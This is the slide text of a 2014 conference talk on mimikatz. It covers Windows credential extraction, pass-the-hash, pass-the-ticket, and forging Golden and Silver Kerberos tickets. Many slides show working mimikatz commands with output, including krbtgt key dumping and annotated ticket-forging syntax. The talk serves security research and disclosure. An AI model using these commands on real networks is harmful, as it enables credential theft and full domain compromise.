SlideShare a Scribd company logo
1 of 59
mimikatz 
how to push Microsoft to change some little stuff 
Benjamin DELPY `gentilkiwi`
`whoami` ? 
Benjamin DELPY - @gentilkiwi 
– Security researcher at night (it’s not my work) 
• A French guy with one flashy Tahitian shirt 
– Per, your country is cold ! 
– Author of mimikatz 
• This little program that I wrote to learn C (and that some CISO hates) 
– Presented at Black Hat, Defcon, PHDays, BlueHat, and more 
• Despite, my excellent English, yeah 
– I’m not: 
• Bachelor, CISSP, CISA, OSCP, CHFI, CEH, ISO*, MCSA, CHFI, PASSI, […] 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 2
mimikatz :: sekurlsa 
LSA ( level) 
WinLogon LsaSS 
Authentication 
msv1_0 
kerberos 
Authentication 
Packages 
msv1_0 
tspkg 
wdigest 
livessp 
kerberos 
SAM 
user:domain:password 
Challenge 
Response 
PLAYSKOOL 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 3
mimikatz :: sekurlsa 
mimikatz read data from SamSs service (known as LSASS process) or from a memory dump! 
sekurlsa module can retrieve: 
– MSV1_0 hash & keys (dpapi, others…) 
– TsPkg password 
– WDigest password 
– LiveSSP password 
– Kerberos password, ekeys, tickets & pin 
– SSP password 
And also : 
– pass-the-hash 
– overpass-the-hash / pass-the-(e)key 
• RC4 (ntlm), AES128 & AES256 
– pass-the-ticket (official MSDN API !) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 4
mimikatz :: sekurlsa 
for each session 
Package Symbols Type 
tspkg tspkg!TSGlobalCredTable RTL_AVL_TABLE 
wdigest wdigest!l_LogSessList LIST_ENTRY 
livessp livessp!LiveGlobalLogonSessionList LIST_ENTRY 
kerberos (nt5) kerberos!KerbLogonSessionList LIST_ENTRY 
kerberos (nt6) kerberos!KerbGlobalLogonSessionTable RTL_AVL_TABLE 
msv1_0 lsasrv!LogonSessionList 
lsasrv!LogonSessionListCount 
ssp msv1_0!SspCredentialList LIST_ENTRY 
typedef struct _KIWI_struct { 
LIST_ENTRY 
ULONG 
LUID LocallyUniqueIdentifier; 
[…] 
LSA_UNICODE_STRING UserName; 
LSA_UNICODE_STRING Domaine; 
LSA_UNICODE_STRING Password; 
[…] 
} KIWI_struct, *PKIWI_struct; 
lsasrv!LogonSessionList 
lsasrv!LogonSessionListCount 
module!symbol 
search list/AVL for LUID 
KIWI_struct 
Credentials 
in clear ! 
Key NT 5 Symbols 
RC4 lsasrv!g_cbRandomKey 
lsasrv!g_pRandomKey 
DESx lsasrv!g_pDESXKey 
lsasrv!g_Feedback 
Key NT 6 Symbols 
lsasrv!InitializationVector 
3DES lsasrv!h3DesKey 
AES lsasrv!hAesKey 
LsaUnprotectMemory 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 5
Demo ! 
A little (it’s a reminder) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 6
A little reminder about NTLM authentication 
LM 
LSASS (msv1_0) 
waza 
1234/ NTLM (md4) 
d0e9aee149655a60 
75e4540af1f22d3b 
cc36cf7a8514893e 
fccd332446158b1a 
Domain 
Controller 
LM 
LSASS (msv1_0) 
NTLM (md4) 
cc36cf7a8514893e 
fccd332446158b1a 
cc36cf7a8514893e 
fccd332446158b1a 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 7
A little reminder about Kerberos authentication 
How does it works ? 
waza 
1234/ 
LSASS (kerberos) 
des_cbc_md5 f8fd987fa7153185 
rc4_hmac_nt 
(NTLM/md4) 
cc36cf7a8514893e 
fccd332446158b1a 
aes128_hmac 
8451bb37aa6d7ce3 
d2a5c2d24d317af3 
aes256_hmac 
1a7ddce7264573ae1 
f498ff41614cc7800 
1cbf6e3142857cce2 
566ce74a7f25b 
KDC 
KDC 
TGT 
TGS 
③ TGS-REQ 
④ TGS-REP 
⑤ Usage 
Administrateur 
win10 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 8
A little reminder about Kerberos authentication 
RID : 000001f4 (500) 
User : Administrateur 
* Primary 
LM : 
NTLM : cc36cf7a8514893efccd332446158b1a 
* Kerberos-Newer-Keys 
Default Salt : LAB.LOCALAdministrateur 
Default Iterations : 4096 
Credentials 
aes256_hmac (4096) : b7268361386090314acce8d9367e55f5 
5865e7ef8e670fbe4262d6c94098a9e9 
aes128_hmac (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3 
des_cbc_md5 (4096) : f8fd987fa7153185 
KDC 
waza 
1234/ 
cc36cf7a8514893e 
fccd332446158b1a 
rc4_hmac_nt 
(NTLM/md4) 
20140807054500Z 
timestamp ① AS-REQ 
TGT ②AS-REP 
The KDC will validate the authentication if it can decrypt the timestamp with 
the long-term user key (for RC4, the NTLM hash of the user password) 
It issues a TGT representing the user in the domain, for a specified period 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 9
A little reminder about Kerberos authentication 
PAC (MS Specific) 
RID : 000001f6 (502) 
User : krbtgt 
* Primary 
LM : 
NTLM : 3f66b877d01affcc631f465e6e5ed449 
* Kerberos-Newer-Keys 
Default Salt : LAB.LOCALkrbtgt 
Default Iterations : 4096 
Credentials 
aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd 
5c827847ade468d6f6f739eb00c68e42 
KDC 
aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb 
des_cbc_md5 (4096) : 620eb39e450e6776 
Authorization data Microsoft (PAC) 
Username : Administrateur 
Domain SID 
S-1-5-21-130452501-2365100805- 
3685010670 
User ID 
500 Administrateur 
Groups ID 
512 Admins du domaine 
519 Administrateurs de l’entreprise 
518 Administrateurs du schéma 
… 
CHECKSUM_SRV – HMAC_MD5 - krbtgt 
3f66b877d01affcc631f465e6e5ed449 
CHECKSUM_KDC – HMAC_MD5 - krbtgt 
3f66b877d01affcc631f465e6e5ed449 
The KDC will create a Microsoft specific structure (PAC) with user information 
This PAC is signed with the target key, and the KDC key 
– for a TGT, the target is also the KDC, so it is the same key, 3f66b877d01affcc631f465e6e5ed449 for RC4 
– KDC keys are in the krbtgt account 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 10
A little reminder about Kerberos authentication 
TGT 
RID : 000001f6 (502) 
User : krbtgt 
* Primary 
LM : 
NTLM : 3f66b877d01affcc631f465e6e5ed449 
* Kerberos-Newer-Keys 
Default Salt : LAB.LOCALkrbtgt 
Default Iterations : 4096 
Credentials 
aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd 
5c827847ade468d6f6f739eb00c68e42 
KDC 
aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb 
des_cbc_md5 (4096) : 620eb39e450e6776 
TGT 
Start/End/MaxRenew: 14/07/2014 00:46:09 ; 
14/07/2014 10:46:09 ; 21/07/2014 00:46:09 
Service Name (02) : krbtgt ; LAB.LOCAL ; @ 
LAB.LOCAL 
Target Name (02) : krbtgt ; LAB ; @ LAB.LOCAL 
Client Name (01) : Administrateur ; @ LAB.LOCAL ( 
LAB ) 
Flags 40e10000 : name_canonicalize Authorization ; 
data Microsoft (PAC) 
pre_authent ; initial ; renewable Username : ; Administrateur 
forwardable ; 
Domain SID 
Session Key : 0x00000012 S-1-- 5-21-aes256_130452501-2365100805-hmac 
3685010670 
f3bf2e0e26903703bec6259b400a586f403bbfe3771cb7972b 
CHECKSUM_SRV – HMAC_MD5 - krbtgt 
310b643c5316c8c3c70a10cfb17e2e3 
e3c0868cb9cc69 
CHECKSUM_KDC – HMAC_MD5 - krbtgt 
310b643c5316c8c3c70a10cfb17e2e3 
RC4-HMAC – krbtgt 
3f66b877d01affcc631f465e6e5ed449 
The KDC adds the Microsoft specific PAC to a structure with user’s information 
This TGT is encrypted with a key shared between all KDC 
– The RC4 key for the krbtgt account : 3f66b877d01affcc631f465e6e5ed449 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 11
Windows Kerberos 
What can we do with multiple sessions in memory? 
– On a terminal server by example ;) 
waza 
1234/ 
LSASS (kerberos) 
des_cbc_md5 f8fd987fa7153185 
rc4_hmac_nt 
(NTLM/md4) 
cc36cf7a8514893e 
fccd332446158b1a 
aes128_hmac 
8451bb37aa6d7ce3 
d2a5c2d24d317af3 
aes256_hmac 
1a7ddce7264573ae1 
f498ff41614cc7800 
1cbf6e3142857cce2 
566ce74a7f25b 
KDC 
KDC 
TGT 
TGS 
③ TGS-REQ 
④ TGS-REP 
⑤ Usage 
Administrateur 
win10 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 12
Windows Kerberos 
Keys… 
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48) 
.## ^ ##. 
## /  ## /* * * 
##  / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) 
'#####' with 15 modules * * */ 
mimikatz # privilege::debug 
Privilege '20' OK 
mimikatz # sekurlsa::ekeys 
Authentication Id : 0 ; 142976 (00000000:00022e80) 
Session : Interactive from 1 
User Name : Administrator 
Domain : LAB 
SID : S-1-5-21-2929287289-1204109396-1883388597-500 
* Username : Administrator 
* Domain : LAB.LOCAL 
* Password : waza1234/ 
* Key List : 
aes256_hmac 1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b 
aes128_hmac a62abee318bc8877b6d402bde49ddd61 
rc4_hmac_nt cc36cf7a8514893efccd332446158b1a 
rc4_hmac_old cc36cf7a8514893efccd332446158b1a 
rc4_md4 cc36cf7a8514893efccd332446158b1a 
rc4_hmac_nt_exp cc36cf7a8514893efccd332446158b1a 
rc4_hmac_old_exp cc36cf7a8514893efccd332446158b1a 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 13
Windows Kerberos 
Overpass-the-hash 
With a RC4 key (NTLM hash !) 
LSASS (kerberos) 
des_cbc_md5 
rc4_hmac_nt 
(NTLM/md4) 
cc36cf7a8514893e 
fccd332446158b1a 
aes128_hmac 
aes256_hmac 
KDC 
KDC 
TGT 
TGS 
③ TGS-REQ 
④ TGS-REP 
⑤ Usage 
cc36cf7a8514893e 
fccd332446158b1a 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 14
Windows Kerberos 
Overpass-the-hash 
With an AES key (linked to the password too) 
LSASS (kerberos) 
des_cbc_md5 
rc4_hmac_nt 
(NTLM/md4) 
aes128_hmac 
aes256_hmac 
KDC 
KDC 
TGT 
TGS 
③ TGS-REQ 
④ TGS-REP 
⑤ Usage 
1a7ddce7264573ae 
1f498ff41614cc78 
001cbf6e3142857c 
ce2566ce74a7f25b 
1a7ddce7264573ae1f 
498ff41614cc78001c 
bf6e3142857cce2566 
ce74a7f25b 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 15
Windows Kerberos 
Overpass-the-hash 
mimikatz # sekurlsa::pth /user:Administrator /domain:LAB.LOCAL 
/rc4:cc36cf7a8514893efccd332446158b1a 
user : Administrator 
domain : LAB.LOCAL 
program : cmd.exe 
NTLM : cc36cf7a8514893efccd332446158b1a 
| PID 3632 
| TID 3924 
| LUID 0 ; 442172 (00000000:0006bf3c) 
_ msv1_0 - data copy @ 00B30F54 : OK ! 
_ kerberos - data copy @ 00BC5C18 
_ aes256_hmac -> null 
_ aes128_hmac -> null 
_ rc4_hmac_nt OK 
_ rc4_hmac_old OK 
_ rc4_md4 OK 
_ rc4_hmac_nt_exp OK 
_ rc4_hmac_old_exp OK 
_ *Password replace -> null 
mimikatz # sekurlsa::pth /user:Administrator /domain:LAB.LOCAL 
/aes256:1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b 
user : Administrator 
domain : LAB.LOCAL 
program : cmd.exe 
AES256 : 1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b 
| PID 2120 
| TID 2204 
| LUID 0 ; 438984 (00000000:0006b2c8) 
_ msv1_0 - data copy @ 00B2936C : OK ! 
_ kerberos - data copy @ 00BC5A68 
_ aes256_hmac OK 
_ aes128_hmac -> null 
_ rc4_hmac_nt -> null 
_ rc4_hmac_old -> null 
_ rc4_md4 -> null 
_ rc4_hmac_nt_exp -> null 
_ rc4_hmac_old_exp -> null 
_ *Password replace -> null 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 16
Windows Kerberos 
What else? 
waza 
1234/ 
LSASS (kerberos) 
des_cbc_md5 f8fd987fa7153185 
rc4_hmac_nt 
(NTLM/md4) 
cc36cf7a8514893e 
fccd332446158b1a 
aes128_hmac 
8451bb37aa6d7ce3 
d2a5c2d24d317af3 
aes256_hmac 
1a7ddce7264573ae1 
f498ff41614cc7800 
1cbf6e3142857cce2 
566ce74a7f25b 
KDC 
KDC 
TGT 
TGS 
③ TGS-REQ 
④ TGS-REP 
⑤ Usage 
Administrateur 
win10 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 17
Windows Kerberos 
Tickets… 
mimikatz # sekurlsa::tickets /export 
Authentication Id : 0 ; 963494 (00000000:000eb3a6) 
Session : Interactive from 2 
User Name : Administrator 
Domain : LAB 
SID : S-1-5-21-2929287289-1204109396-1883388597-500 
[…] 
Group 0 - Ticket Granting Service 
[00000000] 
Start/End/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 
Service Name (02) : cifs ; dc.lab.local ; @ LAB.LOCAL 
[…] 
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
Session Key : 0x00000012 - aes256_hmac 
13d5f91632296f1d2bc658793ffc458f7abac80ef062aa908359f7eaa1f9b946 
Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...] 
* Saved to file [0;eb3a6]-0-0-40a50000-Administrator@cifs-dc.lab.local.kirbi ! 
[00000001] 
Start/End/MaxRenew: 19/11/2014 03:00:13 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 
Service Name (02) : ldap ; dc.lab.local ; @ LAB.LOCAL 
[…] 
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
Session Key : 0x00000012 - aes256_hmac 
e4a2150bec28971ce4100c21462c34cf194a0d896ef09caf8c126a397d11a4a0 
Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...] 
* Saved to file [0;eb3a6]-0-1-40a50000-Administrator@ldap-dc.lab.local.kirbi ! 
Group 1 - Client Ticket ? 
Group 2 - Ticket Granting Ticket 
[00000000] 
Start/End/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 
Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL 
[…] 
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; 
Session Key : 0x00000012 - aes256_hmac 
7f75a0085ce638ff7dc43c1ee11f8d478f8ff1e4c863769f95f390223cebdc1a 
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] 
* Saved to file [0;eb3a6]-2-1-40e10000-Administrator@krbtgt-LAB.LOCAL.kirbi ! 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 18
Windows Kerberos 
Pass-the-ticket 
With TGT, to obtain some TGS… 
LSASS (kerberos) 
des_cbc_md5 
rc4_hmac_nt 
(NTLM/md4) 
aes128_hmac 
TGT aes256_hmac 
⑤Usage 
KDC 
KDC 
TGT 
TGS 
③ TGS-REQ 
④ TGS-REP 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 19
Windows Kerberos 
Pass-the-ticket 
With one TGS (or more…) 
LSASS (kerberos) 
des_cbc_md5 
rc4_hmac_nt 
(NTLM/md4) 
aes128_hmac 
TGS ⑤Usage 
aes256_hmac 
KDC 
KDC 
TGS 
③ TGS-REQ 
④ TGS-REP 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 20
Windows Kerberos 
Pass-the-ticket 
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48) 
.## ^ ##. 
## /  ## /* * * 
##  / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) 
'#####' with 15 modules * * */ 
mimikatz # kerberos::ptt krbtgt.kirbi cifs.kirbi 
0 - File 'krbtgt.kirbi' : OK 
1 - File 'cifs.kirbi' : OK 
mimikatz # kerberos::list 
[00000000] - 0x00000012 - aes256_hmac 
Start/End/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 
Server Name : krbtgt/LAB.LOCAL @ LAB.LOCAL 
Client Name : Administrator @ LAB.LOCAL 
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; 
[00000001] - 0x00000012 - aes256_hmac 
Start/End/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 
Server Name : cifs/dc.lab.local @ LAB.LOCAL 
Client Name : Administrator @ LAB.LOCAL 
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; 
forwardable ; 
mimikatz # kerberos::ptt tickets 
0 - Directory 'tickets' (*.kirbi) 
0 - File '[0;eb3a6]-0-0-40a50000-Administrator@cifs-dc.lab.local.kirbi' : OK 
1 - File '[0;eb3a6]-0-1-40a50000-Administrator@ldap-dc.lab.local.kirbi' : OK 
2 - File '[0;eb3a6]-2-1-40e10000-Administrator@krbtgt-LAB.LOCAL.kirbi' : OK 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 21
Demo ! 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 22
NTLM vs Pass-the-Hash 
Normal Kerberos vs Overpass-the-Hash/Pass-the-Ticket 
Normal 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 23
Golden Ticket 
A “Golden Ticket”, is a homemade ticket 
–It’s done with a lot of love 
–… and a key 
It’s not made by the KDC, so : 
–it’s not limited by GPO or others settings ;) 
–you can push whatever you want inside! 
–it’s smartcard independent (sorry CISO !) 
A “Silver Ticket” is also a kind of Golden Ticket ;) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 25
Golden Ticket 
The entire Kerberos (domain) security relies on 
poor little symmetric keys under “krbtgt” account 
– 128 bits for RC4/AES128 
– 256 bits for AES256 
and CISO give lessons to PKI Team about their 2048b RSA key? 
Once generated, these keys never change for…. years… 
–Only changes during domain functional upgrade 
– 2000/2003 to 2008/2012 
• 2008 -> 2012 doesn’t change the value 
• the previous one (n-1) still valid… 
and CISO give lessons to PKI Team about: 
– renew certificates (with keys) periodically? 
– revocation? 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 26
Golden Ticket 
From Will (@harmj0y): certainly a lab, certainly 
not a real life example, for sure… 
– https://twitter.com/harmj0y/status/52063380548565 
4018 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 27
Golden Ticket 
If krbtgt hash/keys lost 
– Domain dump 
• Password audit (legitimate use case) 
• Poorly redacted pentest report 
– yeah, really, this 502/krbtgt was a disabled account never used after all? 
– Other 
• Compromise, evil cat 
File backup of the domain controller 
– Shadow copy trick 
– Recovery of backup tapes or access to backup file share 
Compromise of virtual machine infrastructure 
– Copy the drive image or a snapshot of the image 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 28
Golden Ticket 
You can get “krbtgt” keys on a DC with mimikatz or other tools 
mimikatz # lsadump::lsa /name:krbtgt /inject 
Domain : LAB / S-1-5-21-2929287289-1204109396-1883388597 
RID : 000001f6 (502) 
User : krbtgt 
* Primary 
LM : 
NTLM : 3f66b877d01affcc631f465e6e5ed449 
* WDigest 
01 a68990164b4dfefa47c2e998f19eb74c 
[…] 
29 75af20f460c10096e5ce62527ffe9c96 
* Kerberos 
Default Salt : LAB.LOCALkrbtgt 
Credentials 
des_cbc_md5 : 62b915a4a1629861 
* Kerberos-Newer-Keys 
Default Salt : LAB.LOCALkrbtgt 
Default Iterations : 4096 
Credentials 
aes256_hmac (4096) : 466d9a5b9bc33cbfd566d5ad7635aedf7442f10116a68051a27fb53bbba3a19f 
aes128_hmac (4096) : 6dcc65d95e6f00cbedb65cc0892a5085 
des_cbc_md5 (4096) : 62b915a4a1629861 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 29
Golden Ticket 
Even Microsoft was a little bit curious about their own AD at 
our talk at BlueHat 
– https://twitter.com/JohnLaTwC/status/521061512203345920 
Yeah, they have a funky monitoring… 
Btw, real command line is : 
– net user krbtgt /domain 
Do you know why MS don’t renew this account automatically 
? or did not publish a recommendation to periodically renew 
krbtgt ? 
– In most cases, it works… 
– … most cases 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 30
Golden Ticket 
krbtgt hash can be used to generate arbitrary TGTs for use 
–Can make user a member of any group, even make it multiple users! 
• Even users and SIDs that do not exist 
– TGTs will only work for 20 minutes to get service tickets (however any service tickets will be good for 10 hours by 
default) 
• Any account can create / used spoofed ticket, doesn’t require elevated rights 
–Can be used to bypass account restrictions 
• Disabled / expired 
• Authentication silos 
• “protected users” group is just a group SID in the TGT 
–Create a trail of false events 
• Incident handlers rely on event logs 
• Easy to frame another user 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 31
mimikatz :: Golden Ticket 
kerberos::golden 
/domain:lab.local <= domain name 
/sid:S-1-5-21-2929287289-1204109396-1883388597 <= domain SID 
/rc4:3f66b877d01affcc631f465e6e5ed449 <= NTLM/RC4 of KRBTGT (or AES, ofc) 
/user:Administrator <= username you wanna be 
/id:500 <= RID of username (500 is THE domain admin) 
/groups:513,512,520,518,519 <= Groups list of the user (be imaginative) 
/ticket:Administrator.lab.kirbi <= the ticket filename (or /ptt) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 32
PAC Signature - BlackHat erratum 
At BlackHat/Defcon, Skip Duckwall and I 
announced that to forge a TGS, we need 2 keys 
– krbtgt key 
– target key 
The krbtgt is needed to sign the PAC, to avoid 
alterations 
– How a remote service can check a signature without the 
Key ? 
• Remember ? Kerberos is SYMETRIC 
– Easy: it delegates PAC checks to the KDC… 
• It looks like NTLM and not very efficient, no? 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 33
PAC Signature 
Windows 2000 Server and Windows XP do not validate the PAC when the 
application server is running under the local system context or has 
SeTcbPrivilege […] 
Windows Server 2003 does not validate the PAC when the application server 
is running under the local system context, the network service context, or has 
SeTcbPrivilege. […] 
Windows Server 2003 with SP1 does not validate the PAC when the 
application server is under the local system context, the network service 
context, the local service context, or has SeTcbPrivilege privilege. […] 
Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, 
Windows 8, Windows Server 2012, Windows 8.1, and Windows Server 2012 
R2 do not validate the PAC by default for services. Windows still validates the 
PAC for processes that are not running as services. PAC validation can be 
enabled when the application server is not running in the context of local 
system, network service, or local service; or it does not have SeTcbPrivilege […] 
http://msdn.microsoft.com/library/cc224027.aspx#id2 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 34
Silver Ticket 
How do we make a Silver Ticket ? 
– Exactly such as a Golden Ticket, except the krbtgt key 
– Target name (server FQDN) 
– Service name 
– We must have the “Target Key” 
• From Client Memory 
• From Active Directory (ok, we can make Golden Ticket ;) 
• or... from the registry (even, offline !) 
mimikatz # lsadump::secrets 
Domain : CLIENT 
SysKey : 6bfd21f0eda0b20c96d902d3469909d6 
Policy subsystem is : 1.13 
LSA Key(s) : 1, default {adda624d-4d80-fbd7-1430-d1a54ddaa3ec} 
[00] {adda624d-4d80-fbd7-1430-d1a54ddaa3ec} 
e159ebc7330c153ca0def6705c5c3c9e963745c6a49bd0dbe93d426b71d1df6c 
Secret : $MACHINE.ACC 
cur/NTLM:c67d6f47929a19c574ee18539ae679f1/text:QbPxN=taXHczIGQ1u`]MG;HZjb]bDI^dbilGW?=up![Y_% 
:jrkFt*Ts19>'nE(]?XK8r-U#4sY_7KbeMBRn>+[7L7/ XHE1yeG?iaK@VTP_^34/,`kE6;z 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 35
Silver Ticket 
Before that, who cares about this computer password ? 
– No… really ? 
– Yeah, like for the krbtgt account 
– At least, this time the password can change every 30 days... 
• But the n-1 still valid (so [30;60 days])… and the password still works if not changed… 
$MACHINE.ACC is the new krbtgt, localized to a computer/server 
– And it’s in the registry 
Silver ticket is the new Golden Ticket, localized to a target/service 
When you use a Service Account linked to a Kerberized Service, it can be localized to 
multiple targets (see SPN) 
– A lot of chances that you can find it in registry too ;) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 36
mimikatz :: Silver Ticket 
kerberos::golden 
/domain:lab.local <= domain name 
/sid:S-1-5-21-2929287289-1204109396-1883388597 <= domain SID 
/rc4:c67d6f47929a19c574ee18539ae679f1 <= NTLM/RC4 of the Target/Service 
/target:client.lab.local <= Target FQDN 
/service:cifs <= Service name 
/user:Administrator <= username you wanna be 
/id:500 <= RID of username (500 is THE domain admin) 
/groups:513,512,520,518,519 <= Groups list of the user (be imaginative) 
/ticket:cifs.client.kirbi <= the ticket filename (or /ptt) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 37
mimikatz :: Ticket 
So “in real life”, TGS only need the target key… no classic services will check 
signature… 
Default lifetime 
Minimum 
number of KDC 
accesses 
Multiple 
targets 
Available with 
Smartcard 
Realtime check for 
restrictions 
(account disabled, logon 
hours...) 
Protected Users 
Check for Encryption 
(RC4/AES) 
Can be found in Is funky 
Normal 42 days 2 Yes Yes Yes Yes n.a. No 
Overpass-the-hash 
(Pass-the-key) 
42 days 2 Yes No Yes Yes 
Active Directory 
Client Memory 
No 
(ok, a little;)) 
Pass-the-Ticket 
(TGT) 
10 hours 1 Yes Yes No (20mn after) No Client Memory Yes 
Pass-the-Ticket 
(TGS) 
10 hours 0 No Yes No No Client Memory Yes 
Silver Ticket [30;60] days 0 No Yes No No n.a. Yes 
Golden Ticket 10 years 1 Yes Yes No (we can cheat) No n.a. Fuck, Yes! 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 38
Demo ! 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 39
Kerberos…. 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 40
Ubuntu Kerberos client (MIT) 
MIT client caches tickets in a file (one by user) 
-rw------- 1 gentilkiwi gentilkiwi 2740 nov. 19 23:45 krb5cc_1000 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 42
Ubuntu Kerberos client (MIT) 
By default, one user can access ALL its tickets 
–Windows forbids TGT (by default) 
root can copy all tickets (of course, why not?) 
– sudo cp /tmp/krb5cc_* /mnt/hgfs/vmshare/ubuntu/ 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 43
OSX Kerberos client (Heimdal) 
OSX can be joined in a domain, then access resources like Windows… 
– Tickets are not in a file like MIT by default (? and I don’t know Mac at all…?) 
09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 45
OSX Kerberos client (Heimdal) 
#!/bin/sh 
